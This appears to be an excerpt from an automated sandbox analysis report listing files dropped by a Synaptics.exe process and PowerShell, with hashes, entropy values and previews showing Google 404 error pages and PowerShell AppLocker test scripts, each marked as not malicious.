Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tAKtJO5Kmo-iNiKpyAKdfg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JOcq2kE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263817067225485
Encrypted:	false
SSDEEP:	24:GgsF+0BuDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++e+pAZewRDK4mW
MD5:	E7B43C65D1096D4CAB6C669FC2D9489A
SHA1:	D1CD95BDDF92C86B88B41A8C5B7DF908AAD391F9
SHA-256:	E7F2E5799F47D8F5B28EB0B3E8E0FA7EAAD870919B2D6E9C901B5657646446B0
SHA-512:	DC938706961706083C3A892AE82936A2E2B43816EAEEB4473209CD1442063CE649D3F9BF6566B9B839151A20D324D5B936F1730F5265A26E5422EFAB91C1805E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="65apdYHOVuCsAZl-6xSmSg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JzWLOo8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2566486908350765
Encrypted:	false
SSDEEP:	24:GgsF+0+dSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+l+pAZewRDK4mW
MD5:	43DDE0A9ED85A721AC7E99BEB21E2206
SHA1:	5141B82A14A60391F1C4E4FCAFDE8632C3696047
SHA-256:	0BD3E2F86C80244C5B9C160CEAA195B3E5DFF9F3C4EABD3EC1F9B7D114DD99EB
SHA-512:	4028444007E717296212B25B909BF99227D98F9B9CB45D0951A657839F686C7D27841F3C6A535C01C37E87533F0239228ABF497C199C8C64EA3756FCFC5B0D48
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QsEgwgBCVE_zaP-b70BtnQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\M8F4Jct.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.251392792078042
Encrypted:	false
SSDEEP:	24:GgsF+03iSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Z+pAZewRDK4mW
MD5:	523C3BF1D0486D03E58E822F7DF35C85
SHA1:	B8081C626B808B8747B5F634C298E6A82FDAC1D9
SHA-256:	6CA4583327D06B66861DE2A470D16DD3A72AAB9FB5428C12849D359EDB55BDF3
SHA-512:	37A094F49D26F49916F6503D73888A839C6A9D0DDD8C38E68B0340898A93D9694E81FE8BFC59BA02FAB343EF11AF15846CFE5259D77F4FFDB70E793BACA6BA20
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="v-Gzv4mRnhRb3sltQBkQxw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\MC1KgdQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253559674386249
Encrypted:	false
SSDEEP:	24:GgsF+0YSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	ACA3C81615E5B831B415888FA4CA8E83
SHA1:	F465FB38BEEADC145ECCC64014C1431D6D06285D
SHA-256:	756021E3011195E950DFC8E2FD4EF8DE76B84AEE37A45BD8237BF40AEEFD43DE
SHA-512:	EEBB32BEFAE8269ABFAA665D78E1A2E336F6D739E560749C7D5E82D5F402C66501DC7C1336B0E6A90E06E2E5FBCA557F05B57E3AB30EDF08B95A8943EBBB300C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NlWpwx7rg_tBi0JrEf7WMQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\MmWs12E.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270649448348446
Encrypted:	false
SSDEEP:	24:GgsF+0LUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	C7991CDE4C7F929AC6054CCA0AD288B7
SHA1:	4683E42B9FFAFB48316A7F186D960B35985109AF
SHA-256:	193B6DA46B928365E9768BBA8595628097BC054AEBD7B411DDE233768E9D6F0E
SHA-512:	8BC0B3C820A3B5218047BC248595F260133596634B524056D8EF59D0A7CB64B800C5294E1C448EB88AC64AD15988D1315955BAE275C6910D4BBA334FD4BF6363
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="II67g99-sxAL1P7HCOqG5w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\P3SlXP5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258253142766805
Encrypted:	false
SSDEEP:	24:GgsF+0CSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Z+pAZewRDK4mW
MD5:	D30874C5DB3654040831053FA06A5112
SHA1:	A1FF9B25A2B798E945EB253AAB1123952D339044
SHA-256:	8F3D02A497321EF63C0C8AFEE458D9D8FC55F30765EB42EF5F4B041264EACCC8
SHA-512:	A91091000980C03739B0632622112BBB87FD3472C337315C26DCD14DA0CD735C723E1726D8C8B160A4495017BAC35A2585D739B17929FC96788FCEDE9C674654
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NVbOmSpR8MvV-ywxLesdYg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\RKunYJS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264228912449142
Encrypted:	false
SSDEEP:	24:GgsF+0MUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+VU+pAZewRDK4mW
MD5:	7D1B41E437D697036734D2C4546CD31E
SHA1:	FE5C732736800605A5BB89C7223B0BAA3DC1912B
SHA-256:	FA1D467A5C970EBC2A83F2A8A76D159E2591416213C07E94FECB38FC4ECB1CD1
SHA-512:	E62AF3A2E7A99F245D55B79C72835315982C74D4D1C6587609F35E7F7C5B911833020E47E19D1D80AAF92A0BCC0ACC10E6DC9A3CDEDD6D8C7CF21B51DD306A03
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2ABjCP3h9UT6_wI2w2gfiw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Slo9zlS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261083133892779
Encrypted:	false
SSDEEP:	24:GgsF+0BSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+m+pAZewRDK4mW
MD5:	014F486DA9F7960C7EFBA278E58CBE10
SHA1:	BB6FE08C08E1DAD8E25F107827066296ECDD97FA
SHA-256:	32401B42437751E17B5CC9F78C7381AE32CD5919CA0A5C9707D56768EE97B404
SHA-512:	B401B3489985420FC29B7BEFC278675BE675F74BA5C72F90C45A6DF1F2C98B29B01A1C5F10E5151FF80DE205AC4A87D8E4EEAAEC82317AFC462B8A567C193DA5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="93kKKwCTzpIUR9hqmmGgxw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WiQC6aG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272226940552205
Encrypted:	false
SSDEEP:	24:GgsF+0oxDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+txD+pAZewRDK4mW
MD5:	808857BF8D5CD1F028B67446D0C9EA5E
SHA1:	F3926FC28404EC19A01BDA89527AF13C6F37230A
SHA-256:	41CB0CE2FC1DB090E463282FDD0255A7A0F8A414E9C1031209E48AE725358B5A
SHA-512:	7B7B1877696034EC458892B96E5102A290CB0B34D29454638689AFA6A82CA098B1FC0CE283BBE611E8BF4318249D7AE190698293946E8B8F0E3EC42009AD25C3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IKkkCkYAdpM7tO-KJRVypA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\X8UKyX5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.275998834181656
Encrypted:	false
SSDEEP:	24:GgsF+0T0hSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+aW+pAZewRDK4mW
MD5:	A7E01E9E4C9D112C5F1A92BEE4869C93
SHA1:	C9FB3E510A7C6B518A5397A4FF2E5D9146FD622C
SHA-256:	659C169700E7283A7EA9D8020505694412772A9A580E932077BE72AF5CC5D1D7
SHA-512:	A7D29C28DC277939024E9C39F8F31A6B788999C2AD04E5A65FCB61D43DC2EDD3D7BECA6A662A186123C8A10A3CE6F9867AC3982132CE52433096136B0693BE17
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GJDLKo8dHNMbQxZUa0MDJA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XVOgpVg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270152412607049
Encrypted:	false
SSDEEP:	24:GgsF+0q6SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+N6+pAZewRDK4mW
MD5:	8A73A966B9E6EA36E46844287019D6FC
SHA1:	C5EF521DD2351BE71052616090B33DAD5FD3942E
SHA-256:	8D9021425C1504812D971AB200B044FB597476A56DFEE81864E6683AE74ECD07
SHA-512:	F2BAAA0A06026D7B3958D43BB26E15C1A33EAF17BB08C12F24FE8DF93C4357038297F3A4857A550FD4EB4D451FCC9EF33A8576C605EED753D932D942A22DC8E6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Pxg3jzeCd6pVHKjq8tQ7wQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Xic4zkP.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.24202933730775
Encrypted:	false
SSDEEP:	24:GgsF+06SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1+pAZewRDK4mW
MD5:	85BDD5EE31575B8BB60117AFBF485388
SHA1:	589566035790ED119A4AABF35DC1AC9AE8B2C90F
SHA-256:	D1CA0BA2C962766E720CCF78DA3D4E5E238A84681C5F91CAC281844FD206E9F4
SHA-512:	4FDF7F58D5287135EFBEADD4ED484AE759547B77D5462FA41A20E0FFBD53F40BCF63771CA847129D895192624CA6E8363FEE7DD50AB2B643C28CEB5B721D5D31
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="timd0CZisH82900btgFh5w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YfITQvC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271547037767635
Encrypted:	false
SSDEEP:	24:GgsF+00SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+X+pAZewRDK4mW
MD5:	080900B9A775DF6577831D46DE457464
SHA1:	5834D2563E8B57A24F287272FD1AF42E0D7AFE23
SHA-256:	4C717D9DBCCF7E67E17120C7019FB9EBCC6565AB8A1F2FD7DBA95E6DBF3E4006
SHA-512:	DF0C76D64E184E25E47741BCAA1106CAF4924F3FE23C4E256F80D6E538C08E38971F5F86FB809B591841356CB0419594607B51A464345BAA83DC5EFCE7064EE9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="P6q9uXgnH5OBFZNA1IwioA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Yl5kB1L.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261559991799064
Encrypted:	false
SSDEEP:	24:GgsF+0aSQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bx+pAZewRDK4mW
MD5:	BB3C6CAE3469F1AC99A0652399146363
SHA1:	B6FE4A8DF428E64E3AEBE05CAA4CBED91E3402DF
SHA-256:	25473C5D857DE67C82EAB81779131BDBFB49B5A9EF77F9E1187730E4C5F5158B
SHA-512:	101B1532FB1EDBBB3514ABA98419060F2786BF7CA36AB913E8843D88580DEB95236D801F148FAFF51652D2E11E04A3E442BF90AE00F4803B53A1EF391CE36FEE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IO07GFsGrQeVT5wI1gktHA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3s5nbwfa.r35.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gcdzxwrs.j44.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ktprc01x.tsg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tqxpyv3l.35g.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

